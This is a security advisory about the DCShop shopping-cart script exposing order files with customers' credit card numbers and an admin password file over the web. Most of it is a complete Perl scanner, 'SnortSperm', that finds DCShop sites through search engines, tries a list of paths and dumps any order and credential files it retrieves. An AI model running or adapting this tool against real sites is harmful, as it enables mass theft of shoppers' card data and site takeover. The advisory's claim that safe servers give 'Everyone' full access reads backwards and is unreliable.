COMMAND
DCShop
SYSTEMS AFFECTED
DCShop
PROBLEM
Peter Helms found following. There are several Web shops using
your DCShop product as E-commerce system, where it is possble for
unauthorized persons via a Web browser to retrieve customer
creditcard numbers in cleartext. Athough the developers on their
Web site recommends not to use the beta product for commercial
use, there are sites already using it commercially.
The issue does not show up on properly configured servers, i.e.
where the "Everyone"-group has "Full Access" to the CGI-BIN or
sub-folders, more info below.
The requests are made of the following URL:
http://theTargetHost/cgi-bin/DCShop/Orders/orders.txt
This will triger the Web host to send a text file with all recent
orders, including the end-users name, shipping and billing-address
e-mail address AND CREDIT CARD NUMBERS with exp-dates.
It is also in some cases possible to find the administrator name
and password in another text file from an URL:
http://theTargetHost/cgi-bin/DCShop/Auth_data/auth_user_file.txt
This is not really a vulnerability. It is more a server setup
problem. Normally, you should not be able to browse files in
/cgi-bin directory; you should only be able to execute scripts
and display the page resulting from them. BUT, we do live in an
imperfect world and some server DO allow viewing of files in
/cgi-bin directory and so IT IS a problem, nonetheless.
#!/usr/bin/perl
#
# SnortSperm v1.1, a DCShop (Web shopping cart system) order and account scanner
# by darkman, with help of antistar and bsl4
# A proof of concept
#
# Users running windows have to download and install ActivePerl from
# www.activeperl.com, and run the script from the MS-DOS Prompt by typing:
#
# \perl\bin\perl <path of ss.pl>\ss.pl
#
# I'd like to thank Peter Helms for publishing the information regarding this
# exploit.
#
# E-mail: darkman@coderz.net
# Homepage: www.coderz.net/darkman
use LWP::Simple;
use LWP::UserAgent;
my $ua=new LWP::UserAgent;
# flush stdout (so we get 'in progress' messages)
$|=1;
# fake useragent
$ua->agent("Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90)");
# hash arrays
my %unique_urls;
my %unique_sites;
my %flatfiles;
my %pathfiles;
my %additional_paths;
my %vulnerable_sites;
# scanning using search engine
sub scan_search_engine {
$url = shift;
print STDERR ".";
@urls = split /\n/, get($url);
for (@urls) {
if (/$link/) {
$1 =~ /(.*)\/.*$/;
$_ = $1;
path_traversal();
}
scan_search_engine("$search_engine_url$1") if (/$next/);
}
}
# path traversal
sub path_traversal {
$_ = "http://$_" if (not /:\/\//);
@split_url = split /\//, $_;
$unique_sites{$split_url[2]} = $split_url[2];
additional_urls() if ((scalar keys %additional_paths!=0) && ($_ ne ''));
while (not /:\/$/) {
$unique_urls{$_}=$_;
$_ = substr $_,0,rindex $_,"/";
}
}
# additional urls
sub additional_urls {
foreach $path (keys %additional_paths) {
if ($path =~ /^\//) {
$unique_urls{"$split_url[0]//$split_url[2]$path"} = "$split_url[0]//$split_url[2]$path";
} else {
$unique_urls{"$url/$path"} = "$url/$path";
}
}
}
# scan url
sub scan_url {
$first_try = shift;
$second_try = shift;
$url_ = "$url/$first_try";
print STDERR "Trying $url_\n";
$page = get($url_);
@lines = split /\x0d/, $page;
if ((@lines+0 == 0) || ($lines[0] =~ /^</) || ($lines[0] =~ /^ </) || ($lines[0] =~ /^\n</)) {
$url_ = "$url/$second_try";
print STDERR "Trying $url_\n";
$page = get($url_);
@lines = split /\x0d/, $page;
}
if ((@lines+0 > 0) && (not $lines[0] =~ /^</) && (not $lines[0] =~ /^ </) && (not $lines[0] =~ /^\n</)) {
print "$url_\n\n";
for (@lines) {
$occurrences = ($_ =~ tr/|//);
$max_occurrences = $occurrences if ($occurrences > $max_occurrences);
if (/^\n</) {
print "\n";
last;
}
print "$_";
}
$vulnerable_sites{"$stripped_url$filename"}=true;
print "\n";
print "\n" if ($occurrences == 1);
print STDERR "Success.\n";
}
}
# check arguements
foreach $opt (@ARGV) {
$proxyserver = $1 if ($opt =~ "proxy=(.*)");
$proxyport = $1 if ($opt =~ "port=(.*)");
$altavista = 1 if ($opt eq "altavista");
$google = 1 if ($opt eq "google");
$lycos = 1 if ($opt eq "lycos");
$nbci = 1 if ($opt eq "nbci");
$netscape = 1 if ($opt eq "netscape");
$yahoo = 1 if ($opt eq "yahoo");
$flatfiles{$1} = $1 if ($opt =~ "flatfile=(.*)");
$pathfiles{$1} = $1 if ($opt =~ "pathfile=(.*)");
}
print STDERR "SnortSperm v1.1, a DCShop (Web shopping cart system) order and account scanner\n";
# show options if no valid arguements were found
if (!($altavista or $google or $lycos or $nbci or $netscape or $yahoo) && (scalar keys %flatfiles==0)) {
print STDERR "usage: ./ss.pl <options>\n\nproxy=<proxyserver> for scanning using a proxy server\nport=<proxyport> for specifying proxy port (default proxy port is 8080)\naltavista for scanning using AltaVista\ngoogle for scanning using Google\nlycos for scanning using Lycos\nnbci for scanning using NBCi (use additional paths with this option)\nnetscape for scanning using Netscape Search\nyahoo for scanning using Yahoo!\nflatfile=<filename> for scanning using a flat file\npathfile=<filename> for additional paths\n\noptions can be combined";
exit;
}
# load additional paths
foreach $pathfile (keys %pathfiles) {
if ($pathfile ne '') {
open(FH, $pathfile);
while (<FH>) {
chomp;
$_ = $1 if (/(.*)\/$/);
$additional_paths{$_}=$_ if ($_ ne '');
}
}
}
# scan through a proxy (insert proxyserver and port)
if ($proxyserver) {
$proxyport = 8080 if (!$proxyport);
print STDERR "using $proxyserver:$proxyport as proxy\n";
$ua->proxy('http',"$proxyserver:$proxyport");
}
# scanning using selected search engines
if ($altavista) {
print STDERR "\nScanning using AltaVista";
$search_engine_url = "http://www.altavista.com";
$link = "status='([^']*)";
$next = "a href=\"([^\"]+).*\\[Next";
scan_search_engine("$search_engine_url/sites/search/web?q=DCShop&pg=q&kl=XX");
}
if ($google) {
print STDERR "\nScanning using Google";
$search_engine_url = "http://www.google.com";
$link = "<p><A HREF=([^>]*)";
$next = "A HREF=([^>]+).*<b>Next<\\/b>";
scan_search_engine("$search_engine_url/search?q=DCShop");
}
if ($lycos) {
print STDERR "\nScanning using Lycos";
$search_engine_url = "http://www.lycos.co.uk";
$link = "<b><a href=\"([^\"]*)";
$next = "A HREF=([^>]+).*<B>Forward<\\/B>";
scan_search_engine("$search_engine_url/cgi-bin/pursuit?matchmode=and&mtemp=main&etemp=error&query=DCShop&cat=lycos");
}
if ($nbci) {
print STDERR "\nScanning using NBCi";
$search_engine_url = "http://www.goto.com";
$link = "<em>([^<]*)";
$next = "a href=\"([^\"]+).*<b>More";
scan_search_engine("$search_engine_url/d/search/p/nbci/?Keywords=DCShop");
}
if ($netscape) {
print STDERR "\nScanning using Netscape Search";
$search_engine_url = "http://search.netscape.com";
$link = "size=\"1\">([^<]*)";
$next = "a href=\"([^\"]+).*next>>";
scan_search_engine("$search_engine_url/search.psp?cp=nsikwphopNetscape&charset=UTF-8&search=DCShop");
}
if ($yahoo) {
print STDERR "\nScanning using Yahoo!";
$search_engine_url = "http://google.yahoo.com";
$link = "#006600>([^&]*)";
$next = "a href=\"([^\"]+).*Next 20 ";
scan_search_engine("$search_engine_url/bin/query?p=DCShop&hc=0&hs=0");
}
# scanning using flat file(s)
foreach $flatfile (keys %flatfiles) {
if ($flatfile ne '') {
print STDERR "\nScanning using flat file: $flatfile";
open(FH, $flatfile);
while (<FH>) {
chomp;
$_ = $1 if (/(.*)\/$/);
path_traversal();
}
}
}
# show number of sites found
$total_urls = 4*scalar keys %unique_urls;
$total_sites = scalar keys %unique_sites;
print STDERR "\nFound $total_urls URLs at $total_sites sites to scan\n";
# scan for vulnerable sites
foreach $url (sort(keys %unique_urls)) {
@split_url = split /\//, $url;
$stripped_url ="$split_url[0]//$split_url[2]";
if ($current_url ne $stripped_url) {
$current_url = $stripped_url;
print STDERR "\n";
}
$filename = "/orders.txt";
scan_url("Orders$filename","orders$filename") if (!$vulnerable_sites{"$stripped_url$filename"});
$filename = "/auth_user_file.txt";
scan_url("Auth_data$filename","auth_data$filename") if (!$vulnerable_sites{"$stripped_url$filename"});
}
paths.txt:
/cgi-bin/DCShop
/cgi_bin/DCShop
/cgi-bin/dcshop
/cgi_bin/dcshop
/cgibin/DCShop
/cgibin/dcshop
/cgi-bin/shop
/cgi_bin/shop
/cgibin/shop
/shop/DCShop
/shop/dcshop
/shopping
/cgi-bin
/cgi_bin
/cgibin
/DCShop
/dcshop
/mall
/shop
/DC
/dc
SOLUTION
This has been reported to the developer, DCscripts.com, who within
hours posted a security issue bulletin on their web site to
clarify the recommendations for their software:
http://www.dcscripts.com/dcforum/dcshop/44.html